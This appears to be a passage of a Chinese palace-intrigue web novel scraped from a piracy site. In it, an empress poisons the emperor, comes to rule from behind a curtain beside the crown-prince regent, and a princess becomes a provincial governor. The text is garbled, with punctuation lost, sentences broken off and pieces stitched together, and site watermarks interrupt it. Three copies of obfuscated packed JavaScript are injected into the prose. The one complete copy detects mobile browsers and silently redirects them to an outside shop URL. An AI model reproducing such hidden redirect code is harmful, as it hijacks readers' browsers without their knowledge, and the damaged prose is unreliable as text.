“不错,皇后宫里的小厨房手艺不错,你且回去告诉皇后,朕很满意。陛下也没有提赏赐,只漱口之后口上夸了两句。 “是,陛下的意思奴婢一定为皇后娘娘带到。竹清说。 * 两年后,秋。 羌族各个部族已经被文英公主尽数控制,她大力发展农业,培育出了适合科查尔那种地界生长的粮食。通过她这条纽带,大文朝与羌族互通有无,甚至一起击退过倭寇、胡族两回。 凭借这个,羌族人都 吃饱喝足,臣服于她。 “娘娘,文英公主写了信给您。”竹清拿着一封密信走进来,她提前打开,递给了皇后。 皇后一目十行看完信,随后把信烧了,与竹清说道:“她担心本宫,也不枉费咱们帮了她,你回个信,让她不必担心。琮哥儿很快就能监国,五皇子构不成威胁。” “是。”竹清走到桌前,提起笔就边默念边写,这两年椒房殿日日往勤政殿送加料的汤水,前边三四个月陛下容光焕发,从五个月开始,就逐渐体虚,夜里经常惊醒,连太医都诊不出是何原因。 故而,陛下以为是他这两年宠幸后妃多了些,这才导致身子亏空。 竹清刚写完信,菊儿脚步匆匆进来,说道:“启禀皇后娘娘,陛下在早朝上晕厥,现下已经抬回勤政殿,太后娘娘也听闻了这个消息,已经往勤政殿去了。” “果真?”皇后语气里掩盖不住的欣喜,她说道:“快快准备轿撵,本宫要去瞧瞧陛下。”晕厥,代表中毒越来越深,这是好事! 皇后带着仪仗赶往勤政殿,路上遇见了昭贵妃,见了皇后,她也没有下轿撵行礼,反而倨傲地说道:“皇后娘娘,臣妾关心陛下,既然事态紧急,这行礼就免了罢?” “自然可以。”皇后不欲与她纠缠,只说道:“到本宫身后去罢,别挡了路。”皇帝再宠爱她,她不也只能动动嘴,得一些虚无的便宜? 昭贵妃有一瞬间的不满,但是看见了皇后隆重奢华的仪仗之后,便将想要说的话咽下去,她扫了贴身宫女一眼,那宫女就吩咐抬轿子的太监们让开,让皇后先行。 竹清低声与皇后说道:“娘娘,她得意不了多久的。” “是啊,两年的风光也该够了。”皇后嘴角噙着一抹冷笑,皇帝是很宠爱五皇子,可是只要有一日没有废除太子,那麽她的琮哥儿,就还是名正言顺的储君,皇帝的龙椅就还是琮哥儿的! 勤政殿内站满了人,太后、太子、几位皇子、重臣,皇后到了,便问大太监陛下情况如何。 “太医说,陛下可能再也醒不过来了。”大太监抹泪,他的陛下哟,怎麽就遭此劫难了? “啊?”皇后双腿一软,倒在竹清身上,整个人似乎晕过去了,太子赶紧过来扶着,待皇后坐在椅子上,太子又担忧地说道 说全网首发无弹窗免费阅读caixs.com?(请来才小 说 看最新章节 完整章节) :“母后您保重身子。” “娘娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她这话就差直接说有没有陛下都不重要是很诛心以及动摇统治的太后眼皮子跳了跳似乎没想到一向温和有礼的皇后字字珠玑。 “太后置陛下于何处。”皇后撑着扶手起来往前走了两步她与太后差不多高如今面对面相视很轻易就让太后发觉她眼里的锋芒。 “太后娘娘皇后娘娘此事不急端看陛下醒来 时有何吩咐老臣们可不敢私自做主。”来自上官氏的丞相出列说他看了太后一眼随后低头说道:“陛下吉人天相自然会迈过这一关。” 他提醒了太后让她不要过于着急不说太子还在这里就说皇后背后的姜家也不是吃素的他们暂时还不能大张旗鼓。 “是哀家着急糊涂了就按照上官大人所说但凭陛下醒来陛下想必有决断不必咱们后宫干政。”太后也扶着额头一副操心过度的模样。 皇后在心里不屑地哼笑后宫不得干政?太后这是点她呢!让她不要插手前朝之事可是凭甚麽?上官氏在朝堂地位高不论下一任帝王是谁他们都还能维持荣耀许久。但是她呢?她的琮哥儿呢? 让她收手做梦! 太后的话皇后不接气氛一时半会冷凝在那儿就在上官大人准备开口时皇后捂着心口点头说道:“母后说得在理儿臣会牢牢记住的。” “陛下陛下……”殿中只剩下昭贵妃哀哀的哭泣声在她身边五皇子也皱着一张脸惊慌失措地喊着“父皇父皇您看看儿臣儿臣是铭哥儿。” 只是床榻上的人却甚麽反应也没有皇后出声“够了还不快把五皇子还有昭贵妃带下去惊扰了陛下养病可怎麽好?” 皇后的话还是很有份量的几个宫女上前想带走他们哪儿知昭贵妃却不想走她怕这一走就永远也见不着皇帝了。 “不臣妾要在这里为陛下侍疾陛下一日不醒臣妾一日不离去。”昭贵妃言语中提到了侍疾倒让小宫女们停止了脚步。 “兹事体大 待昭贵妃与五皇子走了之后太后就说道:“各位大人想必忙碌勤政殿有哀家与皇后守着就好大人们去处理政事罢。” “是。”几位重臣纷纷行礼退出殿内只余下太后和皇后太后看向皇后问道:“皇后听你方才的意思不安排后妃侍疾?那你呢?” “儿臣是国母。”皇后不卑不亢短短几句话两个人之间便已经充满了肉眼看不见的刀光剑影。 太后也曾经当过皇后 她自然能察觉到,皇后虽然在哀伤,但是这伤心貌似掺杂了不少的水分。 嗯?太后眼神在皇帝与皇后之间来来回回,但到底没有出声询问甚麽,她在思索,就听见皇后问她,“母后,为了您的身子着想,您先回去寿仁宫罢,勤政殿再有消息,儿臣会派人去寿仁宫的。” “不必了,皇帝这样,哀家如何放心得下,便收拾侧殿出来,哀家住进去。”太后说,她怕一走,勤政殿彻底被皇后掌控。 皇后笑了笑,“母后为陛下忧心,儿臣定然跟随,请母后入住东侧殿,儿臣住西侧殿。” 皇帝正躺在不远处生死不明,而这两个天底下最尊贵的女人,一个是他的母亲,一个是他的妻子,却没有一个真正关心他,反倒针锋相对起来,各自为自个的利益谋算。 如此,太后与皇后就在勤政殿住下了,第七日,皇帝迷迷糊糊醒来,瞬间,在宫中的大臣们也纷纷赶来。 “皇帝,你有何想说的?”太后坐在榻边问,皇帝脑袋不能动,只能移动眼睛,他看见了许多人,无一例外的,他们的脸上都是担忧。 “太子……太子……”皇帝喉头黏在一起,嗬嗬着说出几个字。他已经猜到了,自己大抵是遭到了暗算,如果问这个世上有谁想要他死,毫无疑问,上官氏一族算一个。 他抬举上官氏的官员,把他们外派出去,多多少少立个功劳,可是他们自己在外面死了,这可不干他的事。 “父皇,儿臣在,您看看,琮哥儿在这。”太子握住皇帝的手,一脸紧张,唤道:“父皇,您有甚麽想与儿臣说的?儿臣在呢。” 皇帝看向他,突然加重语气,“太子,太子……”话还没有说完,他忽的吐出一大口鲜血,瞬间把被子染红了。 作者有话要说 第 82 章 太子监国,皇后垂帘听政 第82章太子监国,皇后垂帘听政 “陛下!” 在场的人俱都紧张,一个个屏气凝神,好在太医院所有太医都在,极快地就让皇帝平静下来。 “太子监国,皇后听政,五年后还政于太子……”皇帝看了几眼上官丞相与太后,觉得他们没安好心,说不定就是他们下的手!太子只一人,如何与那些老狐狸斗?需得加上皇后才能维持住朝堂。 “陛下!”几个大臣忍不住开口,后宫怎可干政? “朕所言,乃是圣旨。”如此,堵住了大臣们的反驳,大臣们退让,觉得皇后听政也不算甚麽大事,她懂朝政麽? 只是还不待皇后高兴,皇帝又说道:“善待五皇子,以后让他做个亲王,好好地辅佐你。” 太子眸光闪了闪,柔声应道:“父皇放心,儿臣会善待所有弟妹。”是所有,不是单指五皇子。 皇帝闻言,呼吸忽然急促起来,一阵儿一阵儿地吸气抽气,眼睛瞪圆了,似乎对太子的回答甚不满意,只是他还来不及说别的,就又昏迷过去了。 太子让开位置,太医们上前诊脉,几位大臣站在最后面,相互对视了一眼,皇帝昏迷前居然还想着五皇子,太子真的能容忍五皇子麽? 皇后盯着桌上的花瓶失神,她极力忍耐,生怕自己一个不小心笑出来了,太子,终于能名正言顺地掌控朝政了! “启禀太后娘娘,皇后娘娘,陛下急火攻心,这一晕厥只怕再也不能够醒的。”太医院院判说,皇后适时开口道:“陛下担心大文朝,忧虑政事,又可恨自己身子不适,不能亲自料理折子,以致怒火攻心。” 太医院院判欲言又止,到底没有再说其他,反而点点头,说道:“皇后娘娘所言甚是。” 既然皇帝不可能再醒来,那他不如讨好讨好皇后娘娘,毕竟他的孙儿还想进太医院,正需要主子们的赏识呢! 皇后却还不能彻底放松。皇帝既然主动开口让太子监国,那最大的威胁就只剩下一个——祁王。对皇位一直觊觎的祁王,在得知皇帝昏迷不醒之后,肯定会有所行动。 “皇帝的口谕想必大臣们都听见了?”太后看了看太子,又看向身后的五位臣子,她说,“既如此,那以后折子就送去 隔壁的如光殿太子在那儿批折子皇帝在勤政殿这里安心养病。太子你觉得如何?” “皇祖母所言有道理。”太子说反正他也不愿意日日见着皇帝何况皇帝自从昏迷五谷轮回都不畅凑近点闻还能隐隐约约闻到奇怪的味道。 门外不合时宜地传来了喧哗声太后询问宫人“何人在外面吵吵嚷嚷?不知道皇帝在此养病麽?” “启禀太后娘娘是淑贵太妃她在外面求见陛下宫人把她拉开她还是不走。”有人回答道。 淑贵太妃……陛下的生母。 与皇后一样她也是隔三差五让人送东西来勤政殿有她亲手做的荷包也有她熬的汤羹以往勤政殿都是会接她的东西只是这几日勤政殿却把她的东西退回去了。 一日就罢了日子长了淑贵太妃总能察觉到不对故而不顾阻拦来到了勤政殿。 “哦?”太后摇摇头“哀家出去瞧瞧她皇后你可要同往?” “母后儿臣扶您。”皇后说。 淑贵太妃头发散乱衣裳也染上脏污她看上去比太后还要老因着这些年惶惶不安皇帝对她又不亲近所以她面容衰老 比起十几年前淑贵太妃变了许多。 挽起的发丝中有许多灰白脸上的痕迹日益加重她用手推拉挡住她的宫女语气恶狠狠地说道:“滚开!你们这些贱蹄子!” “淑贵太妃。”太后站在台阶上居高临下地望着她“陛下不见你你回去罢不要在勤政殿大声喧哗扰乱宫规。” “不——”淑贵太妃厉声喊“陛下陛下……”她隐隐约约感觉陛下应当是出事了。 “还不快捂住淑贵太妃的嘴把她带回慈宁宫对了淑贵太妃这个样子想必是颅内有疾让太医给她好好医治卧床静养不得再出慈宁宫一步。”太后冷漠地说道。 太后发话其他人不敢不从便强硬地按照她的吩咐拖走了淑贵太妃皇后站在太后身边对于太后的变化感到心惊。 从前的太后似乎有几分良善如今却没有了。她方才的话其实是囚禁淑贵太妃让她一辈子都只能呆在慈宁宫“卧床静养”恐怕淑贵太妃连下地都做不 到。 皇后微微吸气,她对上太后,必定不能心慈手软,不是她死,就是太后亡。 “母后,陛下在勤政殿静养,儿臣也就回椒房殿住了,不打扰陛下养病。皇后说,既然太子已经得到了监国的权力,她也就不愿意守着皇帝。 “哀家亦是如此。太后跟皇后同时扯了扯嘴角,露出一抹敷衍的笑容。 * 如光殿中,皇后正与太子对坐,“琮哥儿,大臣有没有为难你? “没有太为难,只是,儿臣想要应允的事,他们却三番四次阻拦,还说要在朝堂之上百官商议过后才施行。太子面无表情地吃着饭,心里思索着该如何把持。 “莫怕,善用馆不是已经成型了麽?为你收揽到那么多平民以及寒门的人才,待他们入朝为官,朝堂的局势也会发生改变。皇后说,“上官氏一些无为的官员不是被咱们除掉了麽?正好空出位置来让咱们填补。 “其实儿臣昨日就想过,上官丞相已经年老,不如让他致仕。太子说,上官丞相话语权极大,有他在,他想要掌控朝廷就会变得困难。 “急不得,他走了,换上来的人指不定是谁的人,不利于大业。皇后安抚住太子,又问他,“对了,你刚才说的事是甚麽,他们不允许甚麽? “儿臣想要出兵,协助文英公主彻底收服羌族,把羌族人变成咱们大文的人,羌族原本的地界就划分州府县,派官员去管治。功臣文英公主任知州——太子忽的抬眸看向皇后,哼笑道:“他们本来不同意前边的出兵,可是听见儿臣说要让文英公主当知州,他们突然又说可以商议出兵的事,只是文英公主当知州是万万不可。 “母后您瞧,他们惯会权衡利弊。太子脸色冷下来,“明明文英公主才是最合适的人,自她嫁去羌族之后,羌族就再也没有因为打仗而死人,冬日里也不再有冻死的老人与小孩,他们都信服文英公主。 羌族求娶文英公主也是为了联合大文朝镇压其他对羌族虎视眈眈的部族,文英公主的到来结束了他们刀尖上行走的日子,还大力发展羌族的农业与商业,让每一个人都能吃饱,故而在羌族几十个部落中,提文英公主比提羌王还要好使。 文英公主都做到这个份上了,他们难不成还瞻前顾后,不 去收服吗? “难为她也愿意。”皇后说一旦沾染了权力获得了高位大部分人是不肯让权的包括她自己。 文英公主却不是能将羌族地界尽数奉上可见其魄力。 如果上一任羌王知道娶了文英公主要付出整个羌族恐怕他会气得从棺材里跳出来他娶文英公主只是为了得到大文朝的援助去震慑倭寇以及胡族没成想反倒让文英公主把人心收拢去了整个羌族都要给出去。 “那就先拿下羌族至于派谁去还有得磨呢!”皇后也预料到那些老狐狸不会这样轻易松口。于他们而言女子就该呆在家里相夫教子闲暇时读写女子《女训》《女戒》《女则》。 她垂帘听政亦或是文英公主当知州其实都不是那麽容易的她都已经能想象到明日早朝文武百官会视她如无物。 “母后您今夜早些歇息明日还要上朝得养足精神。”太子把手搭上皇后的手背安慰她“如果他们胆敢出言不逊儿臣会替您做主的。” “母后不怕。”最艰难的一步都迈出来了她总不能这个时候给琮哥儿拖后腿罢? “儿臣知道母后为儿臣筹谋甚多。”太子感慨道这个世上除了皇后还有谁是真心待他好? 唔有一个太子目光侧移看向了旁边静候的竹清他对着她点了点头心想竹清姐姐也算一个。 “有一事你的太子妃尚未选定你看看有没有喜欢的早些定下来。或者先选两个侧妃反正没有那麽快进东宫暂且挑好。”皇后絮絮叨叨又担心起太子的终身大事。 天黑得浓稠不见银盘竹清就是在这个时候起得身今儿她得陪着皇后一起去上朝故而也要捯饬捯饬自己不能落了皇后的脸面。 早有听了吩咐的小宫女列成队在竹清开门之时就端来了一应洗漱用的香胰子、铜盆、手帕…… “见过竹清姑姑。”她们低眉顺眼不敢乱瞧。竹清满意地点了点头 “竹清姑姑您想要个甚麽样的发髻?”跟着梳头嬷嬷学艺的宫女问竹清待得了回复之后她就很快速地撩起竹清的头发丝有条不紊地挽发。 进竹清这里的小宫女有三五个人不少但是俱都安 静,没有发出大声音。 “皇后娘娘昨个睡得如何?竹清问道,替她梳头的宫女回答道:“娘娘睡得不好,起过两回,后头还是把全部燃烛都灭了,这才得以入睡。 竹清了然,想必皇后也激动到睡不着,毕竟头一回能去上朝的大殿,皇后是大文朝有此殊荣的第二人。第一个是开国皇帝的皇后,她与太祖待遇同等,一并坐在龙椅上听政。 “竹清姑姑,好了。梳头宫女开口,竹清回过神来,瞧见自己打扮隆重,发髻挽得高,斜向左边的发顶上还垂了一根流苏,竹清左右看了看,又从妆奁里拿出两支点翠式样的钗插了上去。 “行了,你们都下去罢,我要去伺候皇后娘娘了。竹清说,她摸了摸冰凉的珍珠耳坠,款步走进了椒房殿正殿。 皇后娘娘已经醒了,只是尚未起身,竹清撩起帘子一角,看见她盯着帐顶,不由得轻声问道:“娘娘,可要起床了? “起罢。皇后伸出手,竹清自然而然扶住,皇后眼神移到竹清身上,仔细打量了她好几下,随后夸赞道:“你今日的装扮不错,恰到好处。 “谢娘娘夸奖,娘娘昨晚没睡好,眼下乌青重,奴婢替您遮一遮罢?竹清问,皇后点头。 “启禀皇后娘娘,太子殿下正在殿外候着,预备着等您一起去乾安宫。 “他用了糕点没有?端一碟子给他垫一垫肚子,还有,早上风大,给他遮好。皇后吩咐。 等皇后收拾妥当,就与太子一同前往乾安宫,文武百官早已在乾安宫等候多时,听见太监的唱喝声,俱都齐齐跪下,大声且整齐划一地行礼。 既然是垂帘听政,宫人们就在龙椅右侧加了一道珠玉帘子,迷迷蒙蒙地遮住人。太子坐到龙椅左侧,竹清则是扶着皇后坐到右侧。 仗着大臣们尚未起身,竹清光明正大地打量下边跪伏的人,头发花白的老大臣、续有胡须的名流雅士、初出茅庐一腔热血的翰林学士……一个大殿能观众生百态。只这麽略略瞧几眼,她就明白了为何人人都想作皇帝,这般受人尊敬又说一不二,滋味真是美妙。 “都平身。太子高声。 大臣们一个个垂眼低头,不敢直视天威。 “众卿有何事要上奏?太子问道,旋即,就有几个大 小说的域名caixs?(请来才 小说 看最新章节 完整章节) 臣出列说起了南州蝗灾之事又提出解决的法子 “可有大臣同意陈大人的意见?”太子虽然稚嫩但是行事说话已然具备沉稳在他问完话不久下边的臣子们就开始商议整个乾安宫充斥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不错不错。”皇后越看越满意就连太子也诧异几分忍不住说道:“竹清姐姐好记性。” “捧文英公主上位总好过把这个位子白白让给其他大人他们争权夺利惯了的儿臣不信任他们。”哪怕是追随他的人太子也留有疑心。 倒是文英公主只能全心意依赖大文朝。 “琮哥儿母后有一事想要与你商议。”皇后眉头拧起内心有些犹豫但是又想到面前这个是自己的亲生儿子便不再想七想八直截了当地说道:“母后觉得要不要把殿中省改为尚宫局。” 太子似是没想到会听见这样一番话愣了愣才反问皇后“母后何以这般说?尚宫局……倒也不错。” “殿中省是你父皇掌控如今他身子不济却也没有让你把控殿中省时间久了奴才就会生出欺上罔下之心再之后就是不听主子的话。”皇后先是解释缘由再就是说想法她道:“太后在殿中省安插了人脉意图染指殿中省。如今咱们明面上的筹码太少你要烦心前朝的事殿中省不能再给你添麻烦。所以把殿中省变成尚宫局由母后掌控如何?” 她很了解琮哥儿琮哥儿更上心前朝大事譬如开疆辟土譬如救治平民百姓对于这样的一点小权力他应当会让步。 只是这事急不得殿中省由皇帝掌控这会儿琮哥儿还不是皇帝呢! “太后……”太子沉吟他对于太后的确也在提防毕竟当年能跟着先帝一同逼宫的不会就此甘于隐退。 “只怕是难。”太子说“现在尚且不能让他们听命于儿臣要做出变革就只能伺机而动。”他要是皇帝阻力就小一点。 “动摇他们的利益他们怎麽肯。” 太子拿出几封书信皇后一字一句地看信上写得是安州、青州、永州三处的善用馆皆有研究出成果分别是亩产大大提高的新型稻谷种子、纺织速度翻三番的改良织机以及杀伤力惊人的火炮。 皇后在看 异士,竟比六部还要出色。 “六部的人不是不出色,只是他们身后有世家支撑,哪怕无甚成果也能上位,反而是那些寒门人士和百姓,只有这一种立功的法子,当然就热血高涨。太子感慨颇多,愈发坚定了要打破官员被世家大族垄断的局面。 “欸?新型稻谷种子还有纺织机都是女子所研究出来的?皇后瞧了瞧后头的名单,又说道:“是了,她们更为细心,自然也就能促进改良。只是不能大加赞赏,实在是可恶。 “所以母后方才说女官制,儿子一下就想到了她们,实际上除了这些可以改变局面与发展的大成果,还有一些零碎的成果,研究者男女参半,却也足够证明,女子不差于男子。太子说,“故而,儿子也想她们入朝为官。 “循序渐进,如果这次文英公主能当个女官,就是开了一个口子,随后就是变革殿中省,设立尚宫局,再之后,就是科举变革,女子亦可参考。太子敲击着桌子说,他不知想到了甚麽,抬头与竹清对视,“说起来,她们能有此改良的想法,还是竹清姐姐给的意见,姐姐见多识广,如若有女子科考那一日,姐姐可愿意做那第一人? 竹清曾随太子去过善用馆,也认得那些人。 “奴婢能给她们意见,还是从书上看见的法子,内里才学却并不多。太子殿下想要科考,平等对待男女,那科举题目必然也是一样的。奴婢不敢托大,只童生试怕就过不了了。竹清说,她有眼界,那是后世带来的。 论起科举,她万万不行。 “太子殿下信任,奴婢哪怕不过也要去考。考过了,却也不能当官。皇后娘娘还需要奴婢伺候呢,奴婢可不想离了皇后娘娘。竹清言笑晏晏,言语中尽是推脱。 她可不会把太子的话当真。 作者有话要说 第 83 章 尚宫局,萧扶风 第83章尚宫局,萧扶风 她能有现在的地位,是因着她的荣光皆来自于皇后,可如果她弃了掌事姑姑这个身份,真的去科举,然后做官,日子久了,皇后与太子还会像现在这样信任她麽? 竹清从来不去赌这种十有九输的局。 “倒是孤思虑不周。”太子便不再提这件事,他也只是试探试探而已。 “先筹谋着,我也是想着,殿中省改为尚宫局,甄选女官入宫任职。既然宫中有了女官,那麽以后开设女子科考,外地的官员有女子,也很正常。你想要让文英公主当知州这事,竟是一定要办成了,且态度要强硬,这是一个试探他们底线的好机会。”皇后说,她想要动殿中省,太后头一个不答应,毕竟按照以往的制度,尚宫局听命皇后,女官的选拔与任用皆由皇后做主安排。 太后会同意才怪。 其实按照顺序来说,先有尚宫局,之后让文英公主为官试探文武百官,再之后让女子科考,这才是太子心目中最理想的顺序。奈何他现在尚且没有掌握殿中省,此事就只能暂缓。 “等儿臣彻底收服户部尚书以及礼部尚书之后,这事就不难了。”太子说,“倒是兵部尚书,尚且中立。” “他不算中立,要是利益足够,可以让他偏向于你。”皇后笑了笑,给太子解释道:“他的嫡女文妃是我的人,文妃不是生了九皇子?咱们就从九皇子身上作文章。” “兵部尚书是个见不着兔子不撒鹰的,有九皇子,自然能让他站队。”皇后说,两年前那场选秀,文妃当时还是柔姐儿,只见了她一面,就臣服于她。 “好。”太子应了。 “我原以为你会拉拢高丞相。”皇后自问自答道:“不过那也是一个老狐狸,轻易不给承诺的,也罢,只管把六部尚书收拢,架空他们即可。” “儿臣也是这样想。”太子漫不经心地摸了摸大拇指上面的玉扳指,说道:“何况两位丞相年前就病了好几回,焉知还能活多久?待他们一死,高家与上官氏就该好好清算清算。” 甭管两位丞相以前是何等清正廉洁,自他们当上丞相,下边的人就想着扯他们的虎皮来谋利益,贪污、迫害底层官员等等。两个丞相不要,下边的人也会让他们 受用贪污的银子,年复一年,高家与上官氏积累的银子堪比国库。 “等他们死了,儿臣打算抄家。想要船坚利炮,就得投入多多的银钱,国库空虚,就只能抄家得银两。还有,开设港口,扩大贸易……谈完官员,太子又说到了尚宫局,“若果真有那一日,母后想要让谁当尚宫大人?这个位子,非信任的人不可为。 皇后看向身侧静候的竹清,说道:“你竹清姐姐如何?她的能力我一直心里有数,从前不好赏赐她,偶尔赏一些金玉也总觉得埋没了她,若能让她做一个尚宫,统领尚宫局,这才能让我安心。 “竹清姐姐,是最好的人选。连太子也不得不说,竹清姐姐做事从未出过差错,甚至还帮了母后与他许多回。 “奴婢不敢当皇后娘娘与太子殿下赞赏。竹清虽然内心狂喜,不过面上却一派平静,只说道:“娘娘与殿下信任,奴婢定当尽心竭力做事。 尚宫局的大人,权力应当与殿中省的林忠海差不离,那她到时候岂不是掌握无数人的生死?既是皇后的掌事姑姑,又是尚宫大人,竹清光是想一想,就差点笑出来。 十月初一,太子下令出兵科查尔,协助文英公主收服羌族,十月初五,羌族人全部臣服,太子在早朝上询问划分州府名字以及派用的官员。 州府县的名字倒是好说,把羌族所有地界分为一个州,叫北安州,分五府二十八县。只官员实在是难寻,因着那地界民风彪悍,斯斯文文的文官去了,少不得去一番心血,说不定都活不长。但是派武官去,虽能武力镇压,但是于治理方面肯定比不得文官。 一时,陷入了两难。 “孤还是那个决定,任文英公主为北安州知州,俸禄待遇提高一成,诸位可有意见?太子话音刚落,大臣们纷纷口中大喊不可不能。 “不可啊太子殿下,女子怎可为官?自古以来,男主外女主内,这是天理。女子就应该呆在家里,在家从父、出嫁从夫、夫死从子,就这般安安稳稳一辈子即可。那种涉及民生的事宜,她们如何会呢? “是极,文英公主虽然熟知北安州,但是一介女流,怎麽能让底下的人臣服呢?莫说她是不是女子,就说她的学识,也不足以支撑她为官啊。 “太子殿下想要任用文英公主, 只怕文英公主会辜负太子殿下的一番好意殿下……” 武官们这次倒出奇地与文官站在同一个立场一起反驳太子的决定个个都列举出文英公主当官的缺点。 “安静!”一直不曾说话的皇后忽的开口整个大殿迅速静下来有官员问她“不知皇后娘娘有何高见?” 他在内心不屑哪怕是国母也该好好呆在后宫管理嫔妃就是哪儿能到乾安宫来上早朝? 成何体统! 皇后不徐不疾说道:“诸位既然都不同意 “这……”一旦让他们选人他们就同时闭嘴了谁想去那种地界任职?就像皇后所说也不怕一两年就死了立功谈甚麽立功? 他们舍不得自己的后辈、徒儿去北安州倒是想到了让出身寒门的官员去。 皇后又说道:“寒门有志之士不少大人们提议不错只是从北安州任职回京可是大功一件少不得高升。” “母后所言孤很赞同。”太子点头他看底下官员们神色各异就知道他们在想甚麽。 世家权贵一直把高官的位置把在自己手里如何肯叫寒门子掺和?知州调回京任京官最低升作从二品官员。 所以大臣们会如何选择? 上官丞相出列“太子殿下此事不若明日早朝再议?毕竟有些寒门官员可能尚未思量一时给不出一个答复。太子殿下让他们今夜仔细考虑说不得就有吃苦耐劳的官员应肯了。” “上官丞相所言极是老臣也赞同上官丞相的话还请太子殿下给臣子们商讨时间。”高丞相这时又与上官丞相一个立场了生怕女子当了知州。 太子坐于高台脸色微微沉闷嘴角勾起一抹讥笑思考?只怕是给时间这些老狐狸如何安插自己派系的人罢? “不必孤相信咱们大文朝能文能武的可用官员不少譬如状元郎高燕曾多次立功高大人。”太子唤道。 “微臣工部右侍郎高燕参见太子殿下。”高燕出列他有些惴惴不安不知道太子殿下这 京述职,由吏部考核才能通过。文英公主既然是女子,先前没有政绩不方便考核,可,她是否应该回京面见太子殿下,如此才好看看她有没有真材实料。 上官丞相的意思很明显,文英公主可以当知州,但是要先回京,在早朝上拜见太子,由太子与他们这些官员考一考她,这样就能知道她到底配不配当知州。 这是想要拖一拖?只怕文英公主在回京路上,就会遭遇许多不测。太子挑眉,并没有松口,“回京可以暂缓,北安州刚刚收服,却不能没有官员管理,上官丞相的话不妨听听孤的决定。 “太子殿下请讲。 “让文英公主上任北安州知州,半年后瞧一瞧她的政绩,若是好,也就留着她继续做知州,若是不好,再让她回京卸任。太子殿下慢条斯理地说道:“但是孤相信她。 上官丞相与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583512|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高丞相相互对视了一眼,皆没有想到太子殿下这般强硬。他不像陛下,也不像先帝,倒有几分像太祖,史记有记载,太祖在朝堂之上说一不二,不喜与他唱反调的人。 “本宫赞同太子的决定。皇后话落,除了几个大臣应和,并没有一呼百应的局面出现。她也不恼,而是侧头看了看,说道:“竹清。 有官员不解她喊贴身宫女作甚麽,正疑惑着,就听见一道沉稳悦耳的女声在大殿响起,“赦命之宝在此。 瞬间,文武百官们齐齐撩起袍子下跪,口中喊道:“万岁万岁万万岁——这几个字在乾安宫回荡,久久不散。 “陛下命令本宫听政,本宫就有决断的权力,各位大人,可支持太子殿下的决定?皇后再次问道,这一次却不同方才寂静,几乎所有的官员都附和。 “皇后娘娘所言极是,臣等莫敢不尊。 太子缓缓露出一个笑容,“既如此,孤就下令,命文英公主速速上任北安州,为一地知州,掌管北安州农、商、兵马…… 没有人觉得太子殿下直接下召是对陛下不敬,于他们而言,心中明主早已改变,除了想要在朝堂上有更多话语权的老臣们,没有谁想要直接抗衡太子。 早有拿了空圣旨的小太监候着,把太子所说写在圣旨上,正巧玉玺在此,也不用浪费时间了。 竹清拿起玉玺,重重地往那任命的圣旨上一盖, 罢,太医都说了您不宜多思,且为身子着想,别想太多了。”先帝在时,太后就经常日思夜想,如今当了太后,为了上官氏,她也不敢放松,再这般下去,身子怎麽撑得住! “无妨。”太后咳的面色红润,“哪怕临死,哀家也要做些事。他们倒给了哀家一个启发,文英公主当得官员,上官氏的优秀小娘子们为何当不得?田息嬷嬷,且摆上笔墨纸砚,哀家要给哥哥写信,让上官氏好好培养家中小娘子们。” 她观太子这个举动,倒似是一个试探,文武百官没能阻止这一回,只怕以后,也只能步步退让,如此,他们上官氏得逆流而上,争个先。 满心欢喜的太后娘娘还不知道,这是她第一次被兄长斥责,且回信中对女子为官大加训斥。 * 五日后,北安州首府。 原本的科查尔已经改了名字,现在叫作马丁府,文英公主接到了圣旨,她身边的几个豪爽的爷们以及大娘子俱都激动不已,一个个围在她身边,预备着庆贺这件事。 “还好陛下……不对,是太子殿下英明,让文英公主您作俺们的父母官,不然换了旁人,俺们可不依。” “可不是,那些文邹邹的官员了解这儿麽?知道俺们想要甚麽吗?只怕来了也是胡乱治理,倒不如还是公主带俺们吃香的喝辣的。” 文英公主在北安州的声望高得吓人,男女都仰慕她,是她让他们不必遭受战争,让他们的儿女今后能出人头地。 “公主,不对,大人,您先前说要建设书院的事,甚麽时候提上日程?俺家里几个泼猴,个个都不省心的,俺想送他们去读书,有那运气考个功名自然是好的,如果没有,到底识几个字,日后有个活计,不必像俺一样一事无成。” 文英公主扫过一张张满含期待的脸庞,羌族人需求真的很简单,衣食住行自是不必提,还有读书。 她能让羌族人听命于她,除了武力,其实更重要的是,她给他们许诺了让孩子们去书院读书。 羌族人好战,可在文英公主嫁过去之后,他们瞧见一些聪明的孩子跟着公主读书之后,不免生出艳羡之心。逐渐的,就被文英公主“洗脑”了,他们文字稀少,大文却像一个宝殿,正待他们融入呐! 刻在骨子里头的读书之心! 第 84 章 针锋相对,敲打(捉虫) 第84章针锋相对,敲打(捉虫) “太后病了?”皇后重复了一遍竹清说的话,脸上神情淡淡,似乎并不放在心上,“既如此,本宫合该去看看,如若需要安排人侍疾,也该快些。” 只是在这个当口病,不像是真的生病。 “是,这事方才奴婢已经传与太子殿下,殿下说抽时间也会去寿仁宫探望太后。只有一件事,奴婢不得不马上回禀娘娘——”竹清停顿了一下,待皇后疑惑地抬头,她才说道:“淑贵太妃屡次想要出宫,次次不得成功,方才慈宁宫的小宫女来报,淑贵太妃上吊自缢,及时被救了下来。” “自缢?”皇后有一瞬间的惊讶,但没说甚麽,从她在勤政殿门口看她被带走开始,她就预料到会有这一日的。 